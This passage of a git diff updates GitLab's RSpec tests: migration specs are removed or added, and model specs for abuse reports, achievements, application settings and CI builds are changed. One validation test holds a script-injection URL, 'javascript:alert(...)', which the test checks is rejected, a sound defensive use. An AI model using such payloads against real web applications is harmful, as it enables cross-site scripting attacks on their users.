- .and not_change { dismissed_vulnerability_3.reload.dismissed_at }.from(existing_dismissed_at)
- .and not_change { dismissed_vulnerability_4.reload.dismissed_by_id }.from(user_1.id)
- .and not_change { dismissed_vulnerability_5.reload.dismissed_at }.from(existing_dismissed_at)
- .and not_change { dismissed_vulnerability_5.reload.dismissed_by_id }.from(user_1.id)
- .and not_change { detected_vulnerability.reload.dismissed_at }.from(nil)
- .and not_change { detected_vulnerability.reload.dismissed_by_id }.from(nil)
- .and not_change { resolved_vulnerability.reload.dismissed_at }.from(nil)
- .and not_change { resolved_vulnerability.reload.dismissed_by_id }.from(nil)
- .and not_change { confirmed_vulnerability.reload.dismissed_at }.from(nil)
- .and not_change { confirmed_vulnerability.reload.dismissed_by_id }.from(nil)
- end
-end
diff --git a/spec/migrations/queue_backfill_admin_mode_scope_for_personal_access_tokens_spec.rb b/spec/migrations/queue_backfill_admin_mode_scope_for_personal_access_tokens_spec.rb
new file mode 100644
index 00000000000..8209f317550
--- /dev/null
+++ b/spec/migrations/queue_backfill_admin_mode_scope_for_personal_access_tokens_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe QueueBackfillAdminModeScopeForPersonalAccessTokens,
+ feature_category: :authentication_and_authorization do
+ describe '#up' do
+ it 'schedules background migration' do
+ migrate!
+
+ expect(described_class::MIGRATION).to have_scheduled_batched_migration(
+ table_name: :personal_access_tokens,
+ column_name: :id,
+ interval: described_class::DELAY_INTERVAL)
+ end
+ end
+end
diff --git a/spec/migrations/remove_hipchat_service_records_spec.rb b/spec/migrations/remove_hipchat_service_records_spec.rb
deleted file mode 100644
index b89572b069e..00000000000
--- a/spec/migrations/remove_hipchat_service_records_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe RemoveHipchatServiceRecords, feature_category: :integrations do
- let(:services) { table(:services) }
-
- before do
- services.create!(type: 'HipchatService')
- services.create!(type: 'SomeOtherType')
- end
-
- it 'removes services records of type HipchatService' do
- expect(services.count).to eq(2)
-
- migrate!
-
- expect(services.count).to eq(1)
- expect(services.first.type).to eq('SomeOtherType')
- expect(services.where(type: 'HipchatService')).to be_empty
- end
-end
diff --git a/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb b/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
deleted file mode 100644
index eabf6271ded..00000000000
--- a/spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-require_migration!('add_not_valid_foreign_key_to_group_hooks')
-
-RSpec.describe RemoveRecordsWithoutGroupFromWebhooksTable, schema: 20210330091751, feature_category: :integrations do
- let(:web_hooks) { table(:web_hooks) }
- let(:groups) { table(:namespaces) }
-
- before do
- group = groups.create!(name: 'gitlab', path: 'gitlab-org')
- web_hooks.create!(group_id: group.id, type: 'GroupHook')
- web_hooks.create!(group_id: nil)
-
- AddNotValidForeignKeyToGroupHooks.new.down
- web_hooks.create!(group_id: non_existing_record_id, type: 'GroupHook')
- AddNotValidForeignKeyToGroupHooks.new.up
- end
-
- it 'removes group hooks where the referenced group does not exist', :aggregate_failures do
- expect { RemoveRecordsWithoutGroupFromWebhooksTable.new.up }.to change { web_hooks.count }.by(-1)
- expect(web_hooks.where.not(group_id: groups.select(:id)).count).to eq(0)
- expect(web_hooks.where.not(group_id: nil).count).to eq(1)
- end
-end
diff --git a/spec/migrations/schedule_add_primary_email_to_emails_if_user_confirmed_spec.rb b/spec/migrations/schedule_add_primary_email_to_emails_if_user_confirmed_spec.rb
deleted file mode 100644
index 98d3e9b7c7c..00000000000
--- a/spec/migrations/schedule_add_primary_email_to_emails_if_user_confirmed_spec.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ScheduleAddPrimaryEmailToEmailsIfUserConfirmed, :sidekiq, feature_category: :users do
- let(:migration) { described_class.new }
- let(:users) { table(:users) }
-
- let!(:user_1) { users.create!(name: 'confirmed-user-1', email: 'confirmed-1@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:user_2) { users.create!(name: 'confirmed-user-2', email: 'confirmed-2@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:user_3) { users.create!(name: 'confirmed-user-3', email: 'confirmed-3@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:user_4) { users.create!(name: 'confirmed-user-4', email: 'confirmed-4@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
-
- before do
- stub_const("#{described_class.name}::BATCH_SIZE", 2)
- stub_const("#{described_class.name}::INTERVAL", 2.minutes.to_i)
- end
-
- it 'schedules addition of primary email to emails in delayed batches' do
- Sidekiq::Testing.fake! do
- freeze_time do
- migration.up
-
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, user_1.id, user_2.id)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, user_3.id, user_4.id)
- expect(BackgroundMigrationWorker.jobs.size).to eq(2)
- end
- end
- end
-end
diff --git a/spec/migrations/schedule_backfill_draft_status_on_merge_requests_corrected_regex_spec.rb b/spec/migrations/schedule_backfill_draft_status_on_merge_requests_corrected_regex_spec.rb
index 8a14bf58698..a3bec40c3f0 100644
--- a/spec/migrations/schedule_backfill_draft_status_on_merge_requests_corrected_regex_spec.rb
+++ b/spec/migrations/schedule_backfill_draft_status_on_merge_requests_corrected_regex_spec.rb
@@ -4,7 +4,8 @@ require 'spec_helper'
require_migration!
-RSpec.describe ScheduleBackfillDraftStatusOnMergeRequestsCorrectedRegex, :sidekiq, feature_category: :code_review do
+RSpec.describe ScheduleBackfillDraftStatusOnMergeRequestsCorrectedRegex,
+ :sidekiq, feature_category: :code_review_workflow do
let(:namespaces) { table(:namespaces) }
let(:projects) { table(:projects) }
let(:merge_requests) { table(:merge_requests) }
diff --git a/spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb b/spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb
deleted file mode 100644
index ebcc3fda0a3..00000000000
--- a/spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe ScheduleDisableExpirationPoliciesLinkedToNoContainerImages, feature_category: :container_registry do
- let!(:projects) { table(:projects) }
- let!(:container_expiration_policies) { table(:container_expiration_policies) }
- let!(:container_repositories) { table(:container_repositories) }
- let!(:namespaces) { table(:namespaces) }
- let!(:namespace) { namespaces.create!(name: 'test', path: 'test') }
-
- let!(:policy1) { create_expiration_policy(id: 1, enabled: true) }
- let!(:policy2) { create_expiration_policy(id: 2, enabled: false) }
- let!(:policy3) { create_expiration_policy(id: 3, enabled: false) }
- let!(:policy4) { create_expiration_policy(id: 4, enabled: true) }
- let!(:policy5) { create_expiration_policy(id: 5, enabled: false) }
- let!(:policy6) { create_expiration_policy(id: 6, enabled: false) }
- let!(:policy7) { create_expiration_policy(id: 7, enabled: true) }
- let!(:policy8) { create_expiration_policy(id: 8, enabled: true) }
- let!(:policy9) { create_expiration_policy(id: 9, enabled: true) }
-
- it 'schedules background migrations', :aggregate_failures do
- stub_const("#{described_class}::BATCH_SIZE", 2)
-
- Sidekiq::Testing.fake! do
- freeze_time do
- migrate!
-
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, 1, 4)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, 7, 8)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(6.minutes, 9, 9)
-
- expect(BackgroundMigrationWorker.jobs.size).to eq(3)
- end
- end
- end
-
- def create_expiration_policy(id:, enabled:)
- project = projects.create!(id: id, namespace_id: namespace.id, name: "gitlab-#{id}")
- container_expiration_policies.create!(
- enabled: enabled,
- project_id: project.id
- )
- end
-end
diff --git a/spec/migrations/schedule_update_timelogs_project_id_spec.rb b/spec/migrations/schedule_update_timelogs_project_id_spec.rb
deleted file mode 100644
index 5ce3f7dd36c..00000000000
--- a/spec/migrations/schedule_update_timelogs_project_id_spec.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ScheduleUpdateTimelogsProjectId, feature_category: :team_planning do
- let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
- let!(:project) { table(:projects).create!(namespace_id: namespace.id) }
- let!(:issue) { table(:issues).create!(project_id: project.id) }
- let!(:merge_request) { table(:merge_requests).create!(target_project_id: project.id, source_branch: 'master', target_branch: 'feature') }
- let!(:timelog1) { table(:timelogs).create!(issue_id: issue.id, time_spent: 60) }
- let!(:timelog2) { table(:timelogs).create!(merge_request_id: merge_request.id, time_spent: 600) }
- let!(:timelog3) { table(:timelogs).create!(merge_request_id: merge_request.id, time_spent: 60) }
- let!(:timelog4) { table(:timelogs).create!(issue_id: issue.id, time_spent: 600) }
-
- it 'correctly schedules background migrations' do
- stub_const("#{described_class}::BATCH_SIZE", 2)
-
- Sidekiq::Testing.fake! do
- freeze_time do
- migrate!
-
- expect(described_class::MIGRATION)
- .to be_scheduled_delayed_migration(2.minutes, timelog1.id, timelog2.id)
-
- expect(described_class::MIGRATION)
- .to be_scheduled_delayed_migration(4.minutes, timelog3.id, timelog4.id)
-
- expect(BackgroundMigrationWorker.jobs.size).to eq(2)
- end
- end
- end
-end
diff --git a/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb b/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb
deleted file mode 100644
index c9f22c02a0b..00000000000
--- a/spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ScheduleUpdateUsersWhereTwoFactorAuthRequiredFromGroup, feature_category: :require_two_factor_authentication_from_group do
- let(:users) { table(:users) }
- let!(:user_1) { users.create!(require_two_factor_authentication_from_group: false, name: "user1", email: "user1@example.com", projects_limit: 1) }
- let!(:user_2) { users.create!(require_two_factor_authentication_from_group: true, name: "user2", email: "user2@example.com", projects_limit: 1) }
- let!(:user_3) { users.create!(require_two_factor_authentication_from_group: false, name: "user3", email: "user3@example.com", projects_limit: 1) }
-
- before do
- stub_const("#{described_class.name}::BATCH_SIZE", 1)
- end
-
- it 'schedules jobs for users that do not require two factor authentication' do
- Sidekiq::Testing.fake! do
- freeze_time do
- migrate!
-
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(
- 2.minutes, user_1.id, user_1.id)
- expect(described_class::MIGRATION).to be_scheduled_delayed_migration(
- 4.minutes, user_3.id, user_3.id)
- expect(BackgroundMigrationWorker.jobs.size).to eq(2)
- end
- end
- end
-end
diff --git a/spec/migrations/second_recount_epic_cache_counts_spec.rb b/spec/migrations/second_recount_epic_cache_counts_spec.rb
new file mode 100644
index 00000000000..ab4357264be
--- /dev/null
+++ b/spec/migrations/second_recount_epic_cache_counts_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe SecondRecountEpicCacheCounts, :migration, feature_category: :portfolio_management do
+ let(:migration) { described_class::MIGRATION }
+
+ describe '#up' do
+ it 'schedules a batched background migration' do
+ migrate!
+
+ expect(migration).to have_scheduled_batched_migration(
+ table_name: :epics,
+ column_name: :id,
+ interval: described_class::DELAY_INTERVAL,
+ batch_size: described_class::BATCH_SIZE,
+ max_batch_size: described_class::MAX_BATCH_SIZE,
+ sub_batch_size: described_class::SUB_BATCH_SIZE
+ )
+ end
+ end
+
+ describe '#down' do
+ it 'deletes all batched migration records' do
+ migrate!
+ schema_migrate_down!
+
+ expect(migration).not_to have_scheduled_batched_migration
+ end
+ end
+end
diff --git a/spec/migrations/slice_merge_request_diff_commit_migrations_spec.rb b/spec/migrations/slice_merge_request_diff_commit_migrations_spec.rb
index fdbd8093fa5..ffd25152a45 100644
--- a/spec/migrations/slice_merge_request_diff_commit_migrations_spec.rb
+++ b/spec/migrations/slice_merge_request_diff_commit_migrations_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration!
-RSpec.describe SliceMergeRequestDiffCommitMigrations, :migration, feature_category: :code_review do
+RSpec.describe SliceMergeRequestDiffCommitMigrations, :migration, feature_category: :code_review_workflow do
let(:migration) { described_class.new }
describe '#up' do
diff --git a/spec/migrations/update_invalid_web_hooks_spec.rb b/spec/migrations/update_invalid_web_hooks_spec.rb
deleted file mode 100644
index 9e69d3637b8..00000000000
--- a/spec/migrations/update_invalid_web_hooks_spec.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe UpdateInvalidWebHooks, feature_category: :integrations do
- let(:web_hooks) { table(:web_hooks) }
- let(:groups) { table(:namespaces) }
- let(:projects) { table(:projects) }
-
- before do
- group = groups.create!(name: 'gitlab', path: 'gitlab-org')
- project = projects.create!(namespace_id: group.id)
-
- web_hooks.create!(group_id: group.id, type: 'GroupHook')
- web_hooks.create!(project_id: project.id, type: 'ProjectHook')
- web_hooks.create!(group_id: group.id, project_id: project.id, type: 'ProjectHook')
- end
-
- it 'clears group_id when ProjectHook type and project_id are present', :aggregate_failures do
- expect(web_hooks.where.not(group_id: nil).where.not(project_id: nil).count).to eq(1)
-
- migrate!
-
- expect(web_hooks.where.not(group_id: nil).where.not(project_id: nil).count).to eq(0)
- expect(web_hooks.where(type: 'GroupHook').count).to eq(1)
- expect(web_hooks.where(type: 'ProjectHook').count).to eq(2)
- end
-end
diff --git a/spec/models/abuse_report_spec.rb b/spec/models/abuse_report_spec.rb
index 3871b18fdd5..b07fafabbb5 100644
--- a/spec/models/abuse_report_spec.rb
+++ b/spec/models/abuse_report_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe AbuseReport do
+RSpec.describe AbuseReport, feature_category: :insider_threat do
let_it_be(:report, reload: true) { create(:abuse_report) }
let_it_be(:user, reload: true) { create(:admin) }
@@ -20,10 +20,29 @@ RSpec.describe AbuseReport do
end
describe 'validations' do
+ let(:http) { 'http://gitlab.com' }
+ let(:https) { 'https://gitlab.com' }
+ let(:ftp) { 'ftp://example.com' }
+ let(:javascript) { 'javascript:alert(window.opener.document.location)' }
+
it { is_expected.to validate_presence_of(:reporter) }
it { is_expected.to validate_presence_of(:user) }
it { is_expected.to validate_presence_of(:message) }
- it { is_expected.to validate_uniqueness_of(:user_id).with_message('has already been reported') }
+ it { is_expected.to validate_presence_of(:category) }
+
+ it do
+ is_expected.to validate_uniqueness_of(:user_id)
+ .scoped_to([:reporter_id, :category])
+ .with_message('You have already reported this user')
+ end
+
+ it { is_expected.to validate_length_of(:reported_from_url).is_at_most(512).allow_blank }
+ it { is_expected.to allow_value(http).for(:reported_from_url) }
+ it { is_expected.to allow_value(https).for(:reported_from_url) }
+ it { is_expected.not_to allow_value(ftp).for(:reported_from_url) }
+ it { is_expected.not_to allow_value(javascript).for(:reported_from_url) }
+ it { is_expected.to allow_value('http://localhost:9000').for(:reported_from_url) }
+ it { is_expected.to allow_value('https://gitlab.com').for(:reported_from_url) }
end
describe '#remove_user' do
@@ -54,4 +73,21 @@ RSpec.describe AbuseReport do
report.notify
end
end
+
+ describe 'enums' do
+ let(:categories) do
+ {
+ spam: 1,
+ offensive: 2,
+ phishing: 3,
+ crypto: 4,
+ credentials: 5,
+ copyright: 6,
+ malware: 7,
+ other: 8
+ }
+ end
+
+ it { is_expected.to define_enum_for(:category).with_values(**categories) }
+ end
end
diff --git a/spec/models/achievements/achievement_spec.rb b/spec/models/achievements/achievement_spec.rb
index 10c04d184af..9a5f4eee229 100644
--- a/spec/models/achievements/achievement_spec.rb
+++ b/spec/models/achievements/achievement_spec.rb
@@ -5,6 +5,9 @@ require 'spec_helper'
RSpec.describe Achievements::Achievement, type: :model, feature_category: :users do
describe 'associations' do
it { is_expected.to belong_to(:namespace).required }
+
+ it { is_expected.to have_many(:user_achievements).inverse_of(:achievement) }
+ it { is_expected.to have_many(:users).through(:user_achievements).inverse_of(:achievements) }
end
describe 'modules' do
diff --git a/spec/models/achievements/user_achievement_spec.rb b/spec/models/achievements/user_achievement_spec.rb
new file mode 100644
index 00000000000..a91cba2b5e2
--- /dev/null
+++ b/spec/models/achievements/user_achievement_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Achievements::UserAchievement, type: :model, feature_category: :users do
+ describe 'associations' do
+ it { is_expected.to belong_to(:achievement).inverse_of(:user_achievements).required }
+ it { is_expected.to belong_to(:user).inverse_of(:user_achievements).required }
+
+ it { is_expected.to belong_to(:awarded_by_user).class_name('User').inverse_of(:awarded_user_achievements).optional }
+ it { is_expected.to belong_to(:revoked_by_user).class_name('User').inverse_of(:revoked_user_achievements).optional }
+ end
+end
diff --git a/spec/models/analytics/cycle_analytics/aggregation_spec.rb b/spec/models/analytics/cycle_analytics/aggregation_spec.rb
index 2fb40852791..a51c21dc87e 100644
--- a/spec/models/analytics/cycle_analytics/aggregation_spec.rb
+++ b/spec/models/analytics/cycle_analytics/aggregation_spec.rb
@@ -1,13 +1,13 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe Analytics::CycleAnalytics::Aggregation, type: :model do
+RSpec.describe Analytics::CycleAnalytics::Aggregation, type: :model, feature_category: :value_stream_management do
describe 'associations' do
- it { is_expected.to belong_to(:group).required }
+ it { is_expected.to belong_to(:namespace).required }
end
describe 'validations' do
- it { is_expected.not_to validate_presence_of(:group) }
+ it { is_expected.not_to validate_presence_of(:namespace) }
it { is_expected.not_to validate_presence_of(:enabled) }
%i[incremental_runtimes_in_seconds incremental_processed_records full_runtimes_in_seconds full_processed_records].each do |column|
@@ -18,6 +18,10 @@ RSpec.describe Analytics::CycleAnalytics::Aggregation, type: :model do
expect(record.errors).to have_key(column)
end
end
+
+ it_behaves_like 'value stream analytics namespace models' do
+ let(:factory_name) { :cycle_analytics_aggregation }
+ end
end
describe 'attribute updater methods' do
@@ -126,19 +130,19 @@ RSpec.describe Analytics::CycleAnalytics::Aggregation, type: :model do
end
end
- describe '#safe_create_for_group' do
+ describe '#safe_create_for_namespace' do
let_it_be(:group) { create(:group) }
let_it_be(:subgroup) { create(:group, parent: group) }
it 'creates the aggregation record' do
- record = described_class.safe_create_for_group(group)
+ record = described_class.safe_create_for_namespace(group)
expect(record).to be_persisted
end
context 'when non top-level group is given' do
it 'creates the aggregation record for the top-level group' do
- record = described_class.safe_create_for_group(subgroup)
+ record = described_class.safe_create_for_namespace(subgroup)
expect(record).to be_persisted
end
@@ -146,11 +150,11 @@ RSpec.describe Analytics::CycleAnalytics::Aggregation, type: :model do
context 'when the record is already present' do
it 'does nothing' do
- described_class.safe_create_for_group(group)
+ described_class.safe_create_for_namespace(group)
expect do
- described_class.safe_create_for_group(group)
- described_class.safe_create_for_group(subgroup)
+ described_class.safe_create_for_namespace(group)
+ described_class.safe_create_for_namespace(subgroup)
end.not_to change { described_class.count }
end
end
diff --git a/spec/models/analytics/cycle_analytics/project_stage_spec.rb b/spec/models/analytics/cycle_analytics/project_stage_spec.rb
index 697b7aee022..3c7fde17355 100644
--- a/spec/models/analytics/cycle_analytics/project_stage_spec.rb
+++ b/spec/models/analytics/cycle_analytics/project_stage_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Analytics::CycleAnalytics::ProjectStage do
describe 'associations' do
- it { is_expected.to belong_to(:project) }
+ it { is_expected.to belong_to(:project).required }
end
it 'default stages must be valid' do
diff --git a/spec/models/appearance_spec.rb b/spec/models/appearance_spec.rb
index 289408231a9..54dc280d7ac 100644
--- a/spec/models/appearance_spec.rb
+++ b/spec/models/appearance_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Appearance do
subject(:appearance) { described_class.new }
it { expect(appearance.title).to eq('') }
- it { expect(appearance.short_title).to eq('') }
+ it { expect(appearance.pwa_short_name).to eq('') }
it { expect(appearance.description).to eq('') }
it { expect(appearance.new_project_guidelines).to eq('') }
it { expect(appearance.profile_image_guidelines).to eq('') }
@@ -77,7 +77,7 @@ RSpec.describe Appearance do
end
end
- %i(logo header_logo favicon).each do |logo_type|
+ %i(logo header_logo pwa_icon favicon).each do |logo_type|
it_behaves_like 'logo paths', logo_type
end
diff --git a/spec/models/application_setting_spec.rb b/spec/models/application_setting_spec.rb
index 1454c82c531..5b99c68ec80 100644
--- a/spec/models/application_setting_spec.rb
+++ b/spec/models/application_setting_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ApplicationSetting do
+RSpec.describe ApplicationSetting, feature_category: :not_owned, type: :model do
using RSpec::Parameterized::TableSyntax
subject(:setting) { described_class.create_from_defaults }
@@ -128,6 +128,10 @@ RSpec.describe ApplicationSetting do
it { is_expected.to validate_presence_of(:max_terraform_state_size_bytes) }
it { is_expected.to validate_numericality_of(:max_terraform_state_size_bytes).only_integer.is_greater_than_or_equal_to(0) }
+ it { is_expected.to allow_value(true).for(:user_defaults_to_private_profile) }
+ it { is_expected.to allow_value(false).for(:user_defaults_to_private_profile) }
+ it { is_expected.not_to allow_value(nil).for(:user_defaults_to_private_profile) }
+
it 'ensures max_pages_size is an integer greater than 0 (or equal to 0 to indicate unlimited/maximum)' do
is_expected.to validate_numericality_of(:max_pages_size).only_integer.is_greater_than_or_equal_to(0)
.is_less_than(::Gitlab::Pages::MAX_SIZE / 1.megabyte)
@@ -220,6 +224,10 @@ RSpec.describe ApplicationSetting do
it { is_expected.to allow_value(false).for(:bulk_import_enabled) }
it { is_expected.not_to allow_value(nil).for(:bulk_import_enabled) }
+ it { is_expected.to allow_value(true).for(:allow_runner_registration_token) }
+ it { is_expected.to allow_value(false).for(:allow_runner_registration_token) }
+ it { is_expected.not_to allow_value(nil).for(:allow_runner_registration_token) }
+
context 'when deactivate_dormant_users is enabled' do
before do
stub_application_setting(deactivate_dormant_users: true)
@@ -717,35 +725,7 @@ RSpec.describe ApplicationSetting do
end
context 'housekeeping settings' do
- it { is_expected.not_to allow_value(0).for(:housekeeping_incremental_repack_period) }
-
- it 'wants the full repack period to be at least the incremental repack period' do
- subject.housekeeping_incremental_repack_period = 2
- subject.housekeeping_full_repack_period = 1
-
- expect(subject).not_to be_valid
- end
-
- it 'wants the gc period to be at least the full repack period' do
- subject.housekeeping_full_repack_period = 100
- subject.housekeeping_gc_period = 90
-
- expect(subject).not_to be_valid
- end
-
- it 'allows the same period for incremental repack and full repack, effectively skipping incremental repack' do
- subject.housekeeping_incremental_repack_period = 2
- subject.housekeeping_full_repack_period = 2
-
- expect(subject).to be_valid
- end
-
- it 'allows the same period for full repack and gc, effectively skipping full repack' do
- subject.housekeeping_full_repack_period = 100
- subject.housekeeping_gc_period = 100
-
- expect(subject).to be_valid
- end
+ it { is_expected.not_to allow_value(0).for(:housekeeping_optimize_repository_period) }
end
context 'gitaly timeouts' do
diff --git a/spec/models/bulk_imports/entity_spec.rb b/spec/models/bulk_imports/entity_spec.rb
index f4f2b174a7b..b1c65c6b9ee 100644
--- a/spec/models/bulk_imports/entity_spec.rb
+++ b/spec/models/bulk_imports/entity_spec.rb
@@ -325,4 +325,24 @@ RSpec.describe BulkImports::Entity, type: :model do
expect(project_entity.update_service).to eq(::Projects::UpdateService)
end
end
+
+ describe '#full_path' do
+ it 'returns group full path for project entity' do
+ group_entity = build(:bulk_import_entity, :group_entity, group: build(:group))
+
+ expect(group_entity.full_path).to eq(group_entity.group.full_path)
+ end
+
+ it 'returns project full path for project entity' do
+ project_entity = build(:bulk_import_entity, :project_entity, project: build(:project))
+
+ expect(project_entity.full_path).to eq(project_entity.project.full_path)
+ end
+
+ it 'returns nil when not associated with group or project' do
+ entity = build(:bulk_import_entity, group: nil, project: nil)
+
+ expect(entity.full_path).to eq(nil)
+ end
+ end
end
diff --git a/spec/models/chat_name_spec.rb b/spec/models/chat_name_spec.rb
index 02c38479d1a..0838c232872 100644
--- a/spec/models/chat_name_spec.rb
+++ b/spec/models/chat_name_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ChatName do
+RSpec.describe ChatName, feature_category: :integrations do
let_it_be(:chat_name) { create(:chat_name) }
subject { chat_name }
@@ -11,17 +11,15 @@ RSpec.describe ChatName do
it { is_expected.to belong_to(:user) }
it { is_expected.to validate_presence_of(:user) }
- it { is_expected.to validate_presence_of(:integration) }
it { is_expected.to validate_presence_of(:team_id) }
it { is_expected.to validate_presence_of(:chat_id) }
- it { is_expected.to validate_uniqueness_of(:user_id).scoped_to(:integration_id) }
- it { is_expected.to validate_uniqueness_of(:chat_id).scoped_to(:integration_id, :team_id) }
+ it { is_expected.to validate_uniqueness_of(:chat_id).scoped_to(:team_id) }
- it 'is removed when the project is deleted' do
- expect { subject.reload.integration.project.delete }.to change { ChatName.count }.by(-1)
+ it 'is not removed when the project is deleted' do
+ expect { subject.reload.integration.project.delete }.not_to change { ChatName.count }
- expect(ChatName.where(id: subject.id)).not_to exist
+ expect(ChatName.where(id: subject.id)).to exist
end
describe '#update_last_used_at', :clean_gitlab_redis_shared_state do
diff --git a/spec/models/ci/bridge_spec.rb b/spec/models/ci/bridge_spec.rb
index 169b00b9c74..70e977e37ba 100644
--- a/spec/models/ci/bridge_spec.rb
+++ b/spec/models/ci/bridge_spec.rb
@@ -21,8 +21,8 @@ RSpec.describe Ci::Bridge, feature_category: :continuous_integration do
{ trigger: { project: 'my/project', branch: 'master' } }
end
- it 'has many sourced pipelines' do
- expect(bridge).to have_many(:sourced_pipelines)
+ it 'has one sourced pipeline' do
+ expect(bridge).to have_one(:sourced_pipeline)
end
it_behaves_like 'has ID tokens', :ci_bridge
@@ -34,24 +34,6 @@ RSpec.describe Ci::Bridge, feature_category: :continuous_integration do
expect(bridge).to have_one(:downstream_pipeline)
end
- describe '#sourced_pipelines' do
- subject { bridge.sourced_pipelines }
-
- it 'raises error' do
- expect { subject }.to raise_error RuntimeError, 'Ci::Bridge does not have sourced_pipelines association'
- end
-
- context 'when ci_bridge_remove_sourced_pipelines is disabled' do
- before do
- stub_feature_flags(ci_bridge_remove_sourced_pipelines: false)
- end
-
- it 'returns the sourced_pipelines association' do
- expect(bridge.sourced_pipelines).to eq([])
- end
- end
- end
-
describe '#retryable?' do
let(:bridge) { create(:ci_bridge, :success) }
@@ -393,25 +375,6 @@ RSpec.describe Ci::Bridge, feature_category: :continuous_integration do
{ key: 'VAR7', value: 'value7 $VAR1', raw: true }
)
end
-
- context 'when the FF ci_raw_variables_in_yaml_config is disabled' do
- before do
- stub_feature_flags(ci_raw_variables_in_yaml_config: false)
- end
-
- it 'ignores the raw attribute' do
- expect(downstream_variables).to contain_exactly(
- { key: 'BRIDGE', value: 'cross' },
- { key: 'VAR1', value: 'value1' },
- { key: 'VAR2', value: 'value2 value1' },
- { key: 'VAR3', value: 'value3 value1' },
- { key: 'VAR4', value: 'value4 value1' },
- { key: 'VAR5', value: 'value5 value1' },
- { key: 'VAR6', value: 'value6 value1' },
- { key: 'VAR7', value: 'value7 value1' }
- )
- end
- end
end
end
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index c978e33bf54..dd1fbd7d0d5 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -1136,6 +1136,19 @@ RSpec.describe Ci::Build, feature_category: :continuous_integration do
it do
is_expected.to all(a_hash_including(key: a_string_matching(/-protected$/)))
end
+
+ context 'and the cache has the `unprotect` option' do
+ let(:options) do
+ { cache: [
+ { key: "key", paths: ["public"], policy: "pull-push", unprotect: true },
+ { key: "key2", paths: ["public"], policy: "pull-push", unprotect: true }
+ ] }
+ end
+
+ it do
+ is_expected.to all(a_hash_including(key: a_string_matching(/-non_protected$/)))
+ end
+ end
end
context 'when pipeline is not on a protected ref' do
@@ -3533,6 +3546,52 @@ RSpec.describe Ci::Build, feature_category: :continuous_integration do
end
end
+ context 'for the apple_app_store integration' do
+ let_it_be(:apple_app_store_integration) { create(:apple_app_store_integration) }
+
+ let(:apple_app_store_variables) do
+ [
+ { key: 'APP_STORE_CONNECT_API_KEY_ISSUER_ID', value: apple_app_store_integration.app_store_issuer_id, masked: true, public: false },
+ { key: 'APP_STORE_CONNECT_API_KEY_KEY', value: Base64.encode64(apple_app_store_integration.app_store_private_key), masked: true, public: false },
+ { key: 'APP_STORE_CONNECT_API_KEY_KEY_ID', value: apple_app_store_integration.app_store_key_id, masked: true, public: false }
+ ]
+ end
+
+ context 'when the apple_app_store exists' do
+ context 'when a build is protected' do
+ before do
+ allow(build.pipeline).to receive(:protected_ref?).and_return(true)
+ build.project.update!(apple_app_store_integration: apple_app_store_integration)
+ end
+
+ it 'includes apple_app_store variables' do
+ is_expected.to include(*apple_app_store_variables)
+ end
+ end
+
+ context 'when a build is not protected' do
+ before do
+ allow(build.pipeline).to receive(:protected_ref?).and_return(false)
+ build.project.update!(apple_app_store_integration: apple_app_store_integration)
+ end
+
+ it 'does not include the apple_app_store variables' do
+ expect(subject.find { |v| v[:key] == 'APP_STORE_CONNECT_API_KEY_ISSUER_ID' }).to be_nil
+ expect(subject.find { |v| v[:key] == 'APP_STORE_CONNECT_API_KEY_KEY' }).to be_nil
